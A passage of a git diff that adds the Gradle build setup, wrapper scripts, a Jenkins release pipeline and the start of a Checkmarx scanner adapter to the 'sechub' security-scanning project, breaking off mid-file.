+} + diff --git a/gradle.properties b/gradle.properties new file mode 100644 index 0000000000..c19f805d80 --- /dev/null +++ b/gradle.properties @@ -0,0 +1,5 @@ +# SPDX-License-Identifier: MIT +# ============================================================================= +# Specific gradle setup for project 'sechub' +# ============================================================================= +replacePlaceholders=true diff --git a/gradle/wrapper/.gitignore b/gradle/wrapper/.gitignore new file mode 100644 index 0000000000..63b7142f43 --- /dev/null +++ b/gradle/wrapper/.gitignore @@ -0,0 +1 @@ +!gradle-wrapper.jar \ No newline at end of file diff --git a/gradle/wrapper/gradle-wrapper.jar b/gradle/wrapper/gradle-wrapper.jar new file mode 100644 index 0000000000..5c2d1cf016 Binary files /dev/null and b/gradle/wrapper/gradle-wrapper.jar differ diff --git a/gradle/wrapper/gradle-wrapper.properties b/gradle/wrapper/gradle-wrapper.properties new file mode 100644 index 0000000000..c1ab449471 --- /dev/null +++ b/gradle/wrapper/gradle-wrapper.properties @@ -0,0 +1,6 @@ +# SPDX-License-Identifier: MIT +distributionBase=GRADLE_USER_HOME +distributionPath=wrapper/dists +distributionUrl=https\://services.gradle.org/distributions/gradle-5.4.1-bin.zip +zipStoreBase=GRADLE_USER_HOME +zipStorePath=wrapper/dists diff --git a/gradlew b/gradlew new file mode 100755 index 0000000000..b0d6d0ab5d --- /dev/null +++ b/gradlew @@ -0,0 +1,188 @@ +#!/usr/bin/env sh + +# +# Copyright 2015 the original author or authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +############################################################################## +## +## Gradle start up script for UN*X +## +############################################################################## + +# Attempt to set APP_HOME +# Resolve links: $0 may be a link +PRG="$0" +# Need this for relative symlinks. +while [ -h "$PRG" ] ; do + ls=`ls -ld "$PRG"` + link=`expr "$ls" : '.*-> \(.*\)$'` + if expr "$link" : '/.*' > /dev/null; then + PRG="$link" + else + PRG=`dirname "$PRG"`"/$link" + fi +done +SAVED="`pwd`" +cd "`dirname \"$PRG\"`/" >/dev/null +APP_HOME="`pwd -P`" +cd "$SAVED" >/dev/null + +APP_NAME="Gradle" +APP_BASE_NAME=`basename "$0"` + +# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' + +# Use the maximum available, or set MAX_FD != -1 to use that value. +MAX_FD="maximum" + +warn () { + echo "$*" +} + +die () { + echo + echo "$*" + echo + exit 1 +} + +# OS specific support (must be 'true' or 'false'). +cygwin=false +msys=false +darwin=false +nonstop=false +case "`uname`" in + CYGWIN* ) + cygwin=true + ;; + Darwin* ) + darwin=true + ;; + MINGW* ) + msys=true + ;; + NONSTOP* ) + nonstop=true + ;; +esac + +CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar + +# Determine the Java command to use to start the JVM. +if [ -n "$JAVA_HOME" ] ; then + if [ -x "$JAVA_HOME/jre/sh/java" ] ; then + # IBM's JDK on AIX uses strange locations for the executables + JAVACMD="$JAVA_HOME/jre/sh/java" + else + JAVACMD="$JAVA_HOME/bin/java" + fi + if [ ! -x "$JAVACMD" ] ; then + die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +else + JAVACMD="java" + which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." +fi + +# Increase the maximum file descriptors if we can. +if [ "$cygwin" = "false" -a "$darwin" = "false" -a "$nonstop" = "false" ] ; then + MAX_FD_LIMIT=`ulimit -H -n` + if [ $? -eq 0 ] ; then + if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then + MAX_FD="$MAX_FD_LIMIT" + fi + ulimit -n $MAX_FD + if [ $? -ne 0 ] ; then + warn "Could not set maximum file descriptor limit: $MAX_FD" + fi + else + warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT" + fi +fi + +# For Darwin, add options to specify how the application appears in the dock +if $darwin; then + GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\"" +fi + +# For Cygwin, switch paths to Windows format before running java +if $cygwin ; then + APP_HOME=`cygpath --path --mixed "$APP_HOME"` + CLASSPATH=`cygpath --path --mixed "$CLASSPATH"` + JAVACMD=`cygpath --unix "$JAVACMD"` + + # We build the pattern for arguments to be converted via cygpath + ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null` + SEP="" + for dir in $ROOTDIRSRAW ; do + ROOTDIRS="$ROOTDIRS$SEP$dir" + SEP="|" + done + OURCYGPATTERN="(^($ROOTDIRS))" + # Add a user-defined pattern to the cygpath arguments + if [ "$GRADLE_CYGPATTERN" != "" ] ; then + OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)" + fi + # Now convert the arguments - kludge to limit ourselves to /bin/sh + i=0 + for arg in "$@" ; do + CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -` + CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option + + if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition + eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"` + else + eval `echo args$i`="\"$arg\"" + fi + i=$((i+1)) + done + case $i in + (0) set -- ;; + (1) set -- "$args0" ;; + (2) set -- "$args0" "$args1" ;; + (3) set -- "$args0" "$args1" "$args2" ;; + (4) set -- "$args0" "$args1" "$args2" "$args3" ;; + (5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;; + (6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;; + (7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;; + (8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;; + (9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;; + esac +fi + +# Escape application args +save () { + for i do printf %s\\n "$i" | sed "s/'/'\\\\''/g;1s/^/'/;\$s/\$/' \\\\/" ; done + echo " " +} +APP_ARGS=$(save "$@") + +# Collect all arguments for the java command, following the shell quoting and substitution rules +eval set -- $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS "\"-Dorg.gradle.appname=$APP_BASE_NAME\"" -classpath "\"$CLASSPATH\"" org.gradle.wrapper.GradleWrapperMain "$APP_ARGS" + +# by default we should be in the correct project dir, but when run from Finder on Mac, the cwd is wrong +if [ "$(uname)" = "Darwin" ] && [ "$HOME" = "$PWD" ]; then + cd "$(dirname "$0")" +fi + +exec "$JAVACMD" "$@" diff --git a/gradlew.bat b/gradlew.bat new file mode 100644 index 0000000000..9991c50326 --- /dev/null +++ b/gradlew.bat @@ -0,0 +1,100 @@ +@rem +@rem Copyright 2015 the original author or authors. +@rem +@rem Licensed under the Apache License, Version 2.0 (the "License"); +@rem you may not use this file except in compliance with the License. +@rem You may obtain a copy of the License at +@rem +@rem http://www.apache.org/licenses/LICENSE-2.0 +@rem +@rem Unless required by applicable law or agreed to in writing, software +@rem distributed under the License is distributed on an "AS IS" BASIS, +@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +@rem See the License for the specific language governing permissions and +@rem limitations under the License. +@rem + +@if "%DEBUG%" == "" @echo off +@rem ########################################################################## +@rem +@rem Gradle startup script for Windows +@rem +@rem ########################################################################## + +@rem Set local scope for the variables with windows NT shell +if "%OS%"=="Windows_NT" setlocal + +set DIRNAME=%~dp0 +if "%DIRNAME%" == "" set DIRNAME=. +set APP_BASE_NAME=%~n0 +set APP_HOME=%DIRNAME% + +@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m" + +@rem Find java.exe +if defined JAVA_HOME goto findJavaFromJavaHome + +set JAVA_EXE=java.exe +%JAVA_EXE% -version >NUL 2>&1 +if "%ERRORLEVEL%" == "0" goto init + +echo. +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. +echo. +echo Please set the JAVA_HOME variable in your environment to match the +echo location of your Java installation. + +goto fail + +:findJavaFromJavaHome +set JAVA_HOME=%JAVA_HOME:"=% +set JAVA_EXE=%JAVA_HOME%/bin/java.exe + +if exist "%JAVA_EXE%" goto init + +echo. +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% +echo. +echo Please set the JAVA_HOME variable in your environment to match the +echo location of your Java installation. + +goto fail + +:init +@rem Get command-line arguments, handling Windows variants + +if not "%OS%" == "Windows_NT" goto win9xME_args + +:win9xME_args +@rem Slurp the command line arguments. +set CMD_LINE_ARGS= +set _SKIP=2 + +:win9xME_args_slurp +if "x%~1" == "x" goto execute + +set CMD_LINE_ARGS=%* + +:execute +@rem Setup the command line + +set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar + +@rem Execute Gradle +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %CMD_LINE_ARGS% + +:end +@rem End local scope for the variables with windows NT shell +if "%ERRORLEVEL%"=="0" goto mainEnd + +:fail +rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of +rem the _cmd.exe /c_ return code! +if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1 +exit /b 1 + +:mainEnd +if "%OS%"=="Windows_NT" endlocal + +:omega diff --git a/libraries.gradle b/libraries.gradle new file mode 100644 index 0000000000..bd34837717 --- /dev/null +++ b/libraries.gradle @@ -0,0 +1,64 @@ +// SPDX-License-Identifier: MIT +/* ============================================================================ + Library definitions for project 'sechub' + ============================================================================ + Define here library dependencies and use them inside your build.gradle + files in sub projects. + + Included from: "${rootProject.projectDir}/build.gradle" + ============================================================================ + + */ +ext { + + libraryVersion= [ + springBoot: "2.0.4.RELEASE" + ] + + library = [ + /* spring */ + springboot_starter_thymeleaf: "org.springframework.boot:spring-boot-starter-thymeleaf", + + springboot_devtoolssf: "org.springframework.boot:spring-boot-devtools", + + springboot_starter_data_jpa: "org.springframework.boot:spring-boot-starter-data-jpa", + springboot_starter_data_mongodb: "org.springframework.boot:spring-boot-starter-data-mongodb", + springboot_starter_data_rest: "org.springframework.boot:spring-boot-starter-data-rest", + springboot_starter_security : "org.springframework.boot:spring-boot-starter-security", + springboot_starter_web: "org.springframework.boot:spring-boot-starter-web", + springboot_starter_test: "org.springframework.boot:spring-boot-starter-test", + springboot_starter_batch: "org.springframework.boot:spring-boot-starter-batch", + springboot_starter_json: "org.springframework.boot:spring-boot-starter-json", + springboot_starter_actuator: "org.springframework.boot:spring-boot-starter-actuator", + springboot_starter_mail: "org.springframework.boot:spring-boot-starter-mail", + + springframework_restdocs: "org.springframework.restdocs:spring-restdocs-mockmvc", + springframework_security_test: "org.springframework.security:spring-security-test", + + wiremock: "com.github.tomakehurst:wiremock-standalone:2.16.0", + + database_h2: "com.h2database:h2", //:1.4.196", + database_postgres: "org.postgresql:postgresql:42.2.2", + + jackson_JDK8: "com.fasterxml.jackson.datatype:jackson-datatype-jdk8", + + webjars_jquery: "org.webjars:jquery:2.2.4", + webjars_bootstrap: "org.webjars:bootstrap:3.3.7", + + apache_httpcomponents_core: "org.apache.httpcomponents:httpcore:4.4.9", + apache_httpcomponents_client: "org.apache.httpcomponents:httpclient:4.5.5", + apache_commons_validator: "commons-validator:commons-validator:1.6", + apache_commons_io: "commons-io:commons-io:2.6", + + openjson: "com.github.openjson:openjson:1.0.10", + + flyway: "org.flywaydb:flyway-core:5.2.1", + + // JDK 10 build problems handling + // https://stackoverflow.com/questions/43574426/how-to-resolve-java-langnoclassdeffounderror-javax-xml-bind-jaxbexception-in-j + jdk_missing_jaxb_api: "javax.xml.bind:jaxb-api:2.3.1", + jdk_missing_activation: "javax.activation:activation:1.1.1", + jdk_missing_jaxb_impl: "javax.xml.bind:com.springsource.javax.xml.bind:2.2.0", + ] + +} diff --git a/projects.gradle b/projects.gradle new file mode 100644 index 0000000000..d0b03e7284 --- /dev/null +++ b/projects.gradle @@ -0,0 +1,81 @@ +// SPDX-License-Identifier: MIT +ext { +projectType = [ + + goProjects: [ + project(':sechub-cli'), + ], + + javaProjects: [ + ], + + /* any project using spring parts but not already in other spring boot group must be defined here*/ + springBootProjects: [ + project(':sechub-testframework'),//we use same mockito and junit as in other projects, so a spring boot project... + project(':sechub-shared-kernel-testframework'),//we use same mockito and junit as in other projects, so a spring boot project... + project(':sechub-scan-testframework'), //we use same mockito and junit as in other projects, so a spring boot project... + project(':sechub-integrationtest'), + project(':sechub-developertools'), + project(':sechub-test'), + ], + + /* adapter projects - have simple spring dependencies, but know only sechub-adapter as base */ + springBootAdapterProjects: [ + project(':sechub-adapter'), + project(':sechub-adapter-netsparker'), + project(':sechub-adapter-nessus'), + project(':sechub-adapter-checkmarx'), + ], + + /* server projects, all contained inside server */ + springBootSecHubServerProjects: [ + project(':sechub-server'), + project(':sechub-schedule'), + project(':sechub-authorization'), + project(':sechub-administration'), + project(':sechub-notification'), + project(':sechub-sereco'), + project(':sechub-shared-kernel'), + + project(':sechub-scan'), + project(':sechub-scan-product-netsparker'), + project(':sechub-scan-product-nessus'), + project(':sechub-scan-product-checkmarx'), + project(':sechub-scan-product-sereco'), + ], + + /* documentation projects */ + springDocProjects: [ + project(':sechub-doc'), // we use this project for doc generation so msut be java and also with spring dependencies + + ], + +// springBootFrontentProjects: [ +// project(':sechub-frontend-user'), +// project(':sechub-frontend-admin'), +// ], + + /* 'eclipseProjects' defines projects which will be automatically generated by eclipse gradle task + * all spring projects are automatically added to this and must NOT be added manually! + */ + eclipseProjects: [ + project(':sechub-doc'), + project(':sechub-other'), + ], + + asciiDoctorProjects: [ + project(':sechub-doc'), + ] + ] +} +/* dynamically define java projects */ +projectType.springBootProjects.addAll(projectType.springBootSecHubServerProjects) +projectType.springBootProjects.addAll(projectType.springBootAdapterProjects) +projectType.springBootProjects.addAll(projectType.springDocProjects) +//projectType.springBootProjects.addAll(projectType.springBootFrontentProjects) + +projectType.javaProjects.addAll(projectType.springBootProjects) + +/* dynamically add all java projects as eclipse projects:*/ +projectType.eclipseProjects.addAll(projectType.javaProjects) +projectType.eclipseProjects.addAll(projectType.goProjects) \ No newline at end of file diff --git a/release-pipeline.jenkins b/release-pipeline.jenkins new file mode 100644 index 0000000000..b3395e8eeb --- /dev/null +++ b/release-pipeline.jenkins @@ -0,0 +1,355 @@ +// SPDX-License-Identifier: MIT + +// Release pipeline script for jenkins +// Please define a new "pipeline" job and use this jenkinsfile there +// (DO NOT use a "multibranch pipeline job" here! Reason: This job type makes problems +// with tagging - also we want releases only from master branch and tags shall be here as well) +// Only master branch is build by this script - other branches are build by "continous-integration-multibranch-pipeline.jenkins" +// For details please refer /sechub-doc/src/docs/asciidoc/documents/buildserver/jenkins-pipeline.adoc + +def context = new SecHubBuildContext(); +def sechubGitBranch ="unknown" + +pipeline { + agent any + + environment { + SECHUB_TRUSTALL= "true" // necessary for integration tests + } + + stages { + + stage('Initialize') { + steps { + script{ + sechubGitBranch = sh(returnStdout: true, script: "git branch").trim() + echo "Branch is $sechubGitBranch" + + def sechubGitTagsArray = sh(returnStdout: true, script: "git tag -l --contains HEAD").split() + echo "HEAD has following tags: $sechubGitTagsArray" + echo "WORKSPACE is ${env.WORKSPACE}" + + context.init(sechubGitTagsArray) + + echo "RELEASE info: "+context.getReleaseInfo() + + if (context.isAnyRelease()){ + releaseInfo = context.getReleaseInfo() + emailext ( + subject:"[ STARTED ]Release - Build:${env.BUILD_NUMBER}", + body:"Continous integration build for release started.\n$releaseInfo\n\n"+ + "${env.BUILD_URL}", + to: '$DEFAULT_RECIPIENTS' + ) + } + + } + + + } + } + + stage('Build Server') { + environment { + /* against build race conditions - See TestPortProvider.java */ + SECHUB_TEST_WIREMOCK_HTTPS_PORT = getJenkinsExecutorPort(8143) + SECHUB_TEST_WIREMOCK_HTTP_PORT = getJenkinsExecutorPort(8180) + } + steps { + script{ + echo "SECHUB_TEST_WIREMOCK_HTTPS_PORT=${env.SECHUB_TEST_WIREMOCK_HTTPS_PORT}" + echo "SECHUB_TEST_WIREMOCK_HTTP_PORT=${env.SECHUB_TEST_WIREMOCK_HTTP_PORT}" + + /* + * we do NOT build sechub-integrationtest + * Reason: because we do NOT want to have the integration tests executed, otherwise gradle will not execute them + * on integration phase again (because nothing has changed, so gradle will cache the results which are ignored ... + */ + callGradleWrapper("clean ensureLocalhostCertificate build -x :sechub-integrationtest:test -x :sechub-cli:build -Psechub.test.wiremock.https_port=${env.SECHUB_TEST_WIREMOCK_HTTPS_PORT} -Psechub.test.wiremock.http_port=${env.SECHUB_TEST_WIREMOCK_HTTP_PORT}") + + } + } + } + stage('Build CLI') { + steps { + script{ + callGradleWrapper(':sechub-cli:buildGo :sechub-cli:testGo') + } + } + } + stage('Integration tests') { + environment { + /* against build race conditions - See TestPortProvider.java */ + SERVER_PORT= getJenkinsExecutorPort(8243) + } + + steps { + script{ + callGradleWrapper("integrationtest -Psechub.integrationtest.serverport=${env.SERVER_PORT}") + } + } + } + + stage('Build Documentation') { + steps { + script{ + callGradleWrapper('documentation') + } + } + } + + stage('Publish release artifacts') { + when { + expression { context.isAnyRelease() } + } + steps { + script{ + if (context.isClientRelease()){ + callGradleWrapper(':sechub-cli:publish') + } + if (context.isServerRelease()){ + callGradleWrapper(':sechub-server:publish') + } + } + } + } + + /** + * How to handle this in your build ? + * See /sechub-doc/src/docs/asciidoc/documents/buildserver/jenkins-pipeline.adoc + */ + stage('Trigger server released') { + when { + expression { context.isServerRelease() } + } + steps { + // trigger other pipeline job : + build job: 'sechub-server-released', + propagate: true, + wait: false, + parameters: [string(name: 'SERVERVERSION', value:"${context.serverVersion}")] + + } + } + /** + * How to handle this in your build ? + * See /sechub-doc/src/docs/asciidoc/documents/buildserver/jenkins-pipeline.adoc + */ + stage('Trigger client released') { + when { + expression { context.isClientRelease() } + } + steps { + // trigger other pipeline job : + build job: 'sechub-client-released', + propagate: true, + wait: false, + parameters: [string(name: 'CLIENTVERSION', value:"${context.clientVersion}")] + + } + } + + + } + + post { + failure { + script { + if (context.isAnyRelease()){ + releaseInfo = context.getReleaseInfo() + emailext ( + subject:"[ FAILED ]Release - Build:${env.BUILD_NUMBER}", + body:"Continous integration build with release publish failed.\n$releaseInfo\n\n"+ + "${env.BUILD_URL}", + to: '$DEFAULT_RECIPIENTS' + ) + }else{ + emailext ( + subject:"[ FAILED ]CI - Build:${env.BUILD_NUMBER}", + body:"Continous integration build failed.\n$releaseInfo\n\n"+ + "${env.BUILD_URL}", + to: '$DEFAULT_RECIPIENTS' + ) + } + } + } + success { + script { + if (context.isSuccesssEmailNeeded()){ + releaseInfo = context.getReleaseInfo() + emailext ( + subject:"[ SUCCESS ]Release - Build:${env.BUILD_NUMBER}", + body:"Continous integration build with release publish sucessfully done. Triggered additional jobs.\n$releaseInfo\n\n"+ + "${env.BUILD_URL}", + to: '$DEFAULT_RECIPIENTS' + ) + } + } + } + always { + archive '**/integrationtest-server.log' + + junit '**/build/test-results/*/TEST-*.xml' + + } + } +} + +// -------------------------------------------------------------------------- +// - Script helper methods +// -------------------------------------------------------------------------- + +/* Gives back port number increased by executor number, so different between + jenkins executors (at least on same node) */ +int getJenkinsExecutorPort(int originPort){ + int executorNr = "${env.EXECUTOR_NUMBER}" + return originPort+executorNr +} + +void callGradleWrapper(String gradleCommand) { + jdk = tool name: 'JDK_8' + env.JAVA_HOME = "${jdk}" + + if (isUnix()) { + sh "./gradlew ${gradleCommand}" + } else { + bat "gradlew.bat ${gradleCommand}" + } +} + +/** + * This class is necessary because jenkins - at least in version 2.150.2 - does not correct handle + * GIT tags and branches. Multi pipeline builds do not even checkout the tags. Normal pipeline builds do checkout the tags, + * but "when {tag pattern:'myPattern', comparator:'REGEXP' } does not work at all - no comment... + * + * To get the possibility to use tags for versioning this helper class was created + * At the begining of the pipeline there is a global variable defined which is also available inside build stages + * So we do init with git tags on head as array and use getter methods (not groovy but normal java getter, otherwise sandbox problems OMG!) + */ +class SecHubBuildContext{ + + String clientVersion + String serverVersion + + boolean clientRelease + boolean serverRelease + + boolean clientBuildDone + boolean serverBuildDone + + String releaseInfoString + + public SecHubBuildContext(){ + } + + /* + * Simplifies given version string . e.g. v0.4.1-client will be reduced to 0.4.1 + */ + public String getSimplifiedVersion(String fullVersion){ + if (fullVersion==null){ + return "0.0.0"; + } + String result = fullVersion; + if (result.startsWith("v")) { + result=result.substring(1); + } + int index = result.indexOf('-'); + if (index==-1){ + return result; + } + return result.substring(0,index); + } + + public boolean isStartEmailNeeded(){ + return isAnyRelease() + } + + public boolean isFailEmailNeeded(){ + return true;// always + } + + public boolean isSuccesssEmailNeeded(){ + return isAnyRelease() + } + + public void setClientBuildDone(boolean done){ + this.clientBuildDone=done + } + + public void setServerBuildDone(boolean done){ + this.serverBuildDone=done + } + + public void setWebsiteBuildDone(boolean done){ + this.websiteBuildDone=done + } + + + /** + * Returns true when client or sever deployment. + * Interesting for interdepent deployment tests. + * E.g. + * - a server deployment should have integration test + client build before. + * - a client deployment should have also integration test - means server build before + * to have a working local integration test server + */ + public boolean isClientOrServerRelease(){ + return isClientRelease() || isServerRelease(); + } + + public boolean isAnyRelease(){ + return isClientRelease() || isServerRelease(); + } + + public boolean isSuccessFul(){ + if (! isAnyRelease()){ + return false + } + + if (isClientRelease()) { + if (! this.clientBuildDone){ + return false + } + } + + if (isServerRelease()) { + if (! this.serverBuildDone){ + return false + } + } + + return true + } + + public void init(String[ ] commitTags){ + def versionCommitTags = commitTags.findAll {it.startsWith("v")} + + // we got vX.Y.Z-server and vX.Y.Z-client tags + def clientVersionCommitTag = versionCommitTags.find{ it.contains("-client") } + def serverVersionCommitTag = versionCommitTags.find{ it.contains("-server") } + + releaseInfoString = "Release(s):" + if (clientVersionCommitTag == null || clientVersionCommitTag.empty){ + clientRelease=false; + }else{ + clientRelease=true; + clientVersion=getSimplifiedVersion(clientVersionCommitTag) + releaseInfoString=releaseInfoString+" " + clientVersionCommitTag + } + + if (serverVersionCommitTag == null || serverVersionCommitTag.empty){ + serverRelease=false; + }else{ + serverRelease=true; + serverVersion=getSimplifiedVersion(serverVersionCommitTag) + releaseInfoString=releaseInfoString+" " + serverVersionCommitTag + } + } + + public String getReleaseInfo(){ + return releaseInfoString + } + + +} + diff --git a/sechub-adapter-checkmarx/README.md b/sechub-adapter-checkmarx/README.md new file mode 100644 index 0000000000..d8a8e760c7 --- /dev/null +++ b/sechub-adapter-checkmarx/README.md @@ -0,0 +1,9 @@ + +About this project +================== + +This an adapter project to access product NETSPARKER. +It has no dependency to any sechub part and can be used as a single command line program too (for test purpose). + +A product executor can use this adapter to access the product. +The adapter itself is pretty dumb and does only now the product stuff... \ No newline at end of file diff --git a/sechub-adapter-checkmarx/build.gradle b/sechub-adapter-checkmarx/build.gradle new file mode 100644 index 0000000000..a8fbf6ebc6 --- /dev/null +++ b/sechub-adapter-checkmarx/build.gradle @@ -0,0 +1,12 @@ +// SPDX-License-Identifier: MIT + /*============================================================================ + * Build file for subproject + * + * Root build file: "${rootProject.projectDir}/build.gradle" + * ============================================================================ + */ +dependencies { + + compile project(':sechub-adapter') +} + \ No newline at end of file diff --git a/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/CheckmarxAdapter.java b/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/CheckmarxAdapter.java new file mode 100644 index 0000000000..dc4b5b2de6 --- /dev/null +++ b/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/CheckmarxAdapter.java @@ -0,0 +1,9 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.checkmarx; + +import com.daimler.sechub.adapter.Adapter; + +public interface CheckmarxAdapter extends Adapter{ + + +} \ No newline at end of file diff --git a/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/CheckmarxAdapterConfig.java b/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/CheckmarxAdapterConfig.java new file mode 100644 index 0000000000..6876948443 --- /dev/null +++ b/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/CheckmarxAdapterConfig.java @@ -0,0 +1,12 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.checkmarx; + +import com.daimler.sechub.adapter.AdapterConfig; + +public interface CheckmarxAdapterConfig extends AdapterConfig { + + String getTeamIdForNewProjects(); + + String getPathToZipFile(); + +} \ No newline at end of file diff --git a/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/CheckmarxAdapterContext.java b/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/CheckmarxAdapterContext.java new file mode 100644 index 0000000000..cd4fa80b64 --- /dev/null +++ b/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/CheckmarxAdapterContext.java @@ -0,0 +1,20 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.checkmarx; + +import com.daimler.sechub.adapter.AdapterContext; +import com.daimler.sechub.adapter.checkmarx.support.ReportDetails; + +public interface CheckmarxAdapterContext extends AdapterContext { + + long getScanId(); + + ReportDetails getReportDetails(); + + long getReportId(); + + CheckmarxAdapter getCheckmarxAdapter(); + + void setReportId(long reportId); + + +} \ No newline at end of file diff --git a/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/CheckmarxAdapterV1.java b/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/CheckmarxAdapterV1.java new file mode 100644 index 0000000000..76f3b4c66e --- /dev/null +++ b/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/CheckmarxAdapterV1.java @@ -0,0 +1,85 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.checkmarx; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.context.annotation.Profile; +import org.springframework.stereotype.Component; + +import com.daimler.sechub.adapter.AbstractAdapter; +import com.daimler.sechub.adapter.AdapterException; +import com.daimler.sechub.adapter.AdapterProfiles; +import com.daimler.sechub.adapter.checkmarx.support.CheckmarxFullScanNecessaryException; +import com.daimler.sechub.adapter.checkmarx.support.CheckmarxOAuthSupport; +import com.daimler.sechub.adapter.checkmarx.support.CheckmarxProjectSupport; +import com.daimler.sechub.adapter.checkmarx.support.CheckmarxScanReportSupport; +import com.daimler.sechub.adapter.checkmarx.support.CheckmarxScanSupport; +import com.daimler.sechub.adapter.checkmarx.support.CheckmarxUploadSupport; + +/** + * This component is able to handle results from + *
    + *
  1. Checkmarx V8.8.0 HF1
  2. + *
+ * @author Albert Tregnaghi + * + */ +@Component +@Profile({ AdapterProfiles.REAL_PRODUCTS }) +public class CheckmarxAdapterV1 extends AbstractAdapter + implements CheckmarxAdapter { + + private static final Logger LOG = LoggerFactory.getLogger(CheckmarxAdapterV1.class); + + @Override + public String start(CheckmarxAdapterConfig config) throws AdapterException { + try { + CheckmarxContext context = new CheckmarxContext(config, this); + context.setFullScan(context.isNewProject()); + CheckmarxOAuthSupport support = new CheckmarxOAuthSupport(); + support.loginAndGetOAuthToken(context); + + /* ensure project and get project context*/ + CheckmarxProjectSupport projectSupport = new CheckmarxProjectSupport(); + projectSupport.ensureProjectExists(context); + + handleUploadSourceCodeAndStartScan(context); + + CheckmarxScanReportSupport scanReportSupport = new CheckmarxScanReportSupport(); + scanReportSupport.startFetchReport(context); + + return context.getResult(); + } catch (Exception e) { + throw asAdapterException("Was not able to perform scan!", e, config); + } + + } + + + private void handleUploadSourceCodeAndStartScan(CheckmarxContext context) throws AdapterException { + try { + uploadSourceCodeAndStartScan(context); + }catch(CheckmarxFullScanNecessaryException e) { + LOG.info("Full scan necessarye bcause of checkmarx message: {}",e.getCheckmarxMessage()); + context.setFullScan(true); + uploadSourceCodeAndStartScan(context); + + } + } + + private void uploadSourceCodeAndStartScan(CheckmarxContext context) throws AdapterException { + /* upload source code */ + CheckmarxUploadSupport uploadSupport = new CheckmarxUploadSupport(); + uploadSupport.uploadZippedSourceCode(context); + + /* start scan */ + CheckmarxScanSupport scanSupport = new CheckmarxScanSupport(); + scanSupport.startNewScan(context); + } + + + @Override + protected String getAPIPrefix() { + return "cxrestapi"; + } +} diff --git a/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/CheckmarxClientHttpRequestInterceptor.java b/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/CheckmarxClientHttpRequestInterceptor.java new file mode 100644 index 0000000000..584ddf83cf --- /dev/null +++ b/sechub-adapter-checkmarx/src/main/java/com/daimler/sechub/adapter/checkmarx/CheckmarxClientHttpRequestInterceptor.java @@ -0,0 +1,32 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.checkmarx; + +import java.io.IOException; + +import org.springframework.http.HttpHeaders; +import org.springframework.http.HttpRequest; +import org.springframework.http.client.ClientHttpRequestExecution; +import org.springframework.http.client.ClientHttpRequestInterceptor; +import 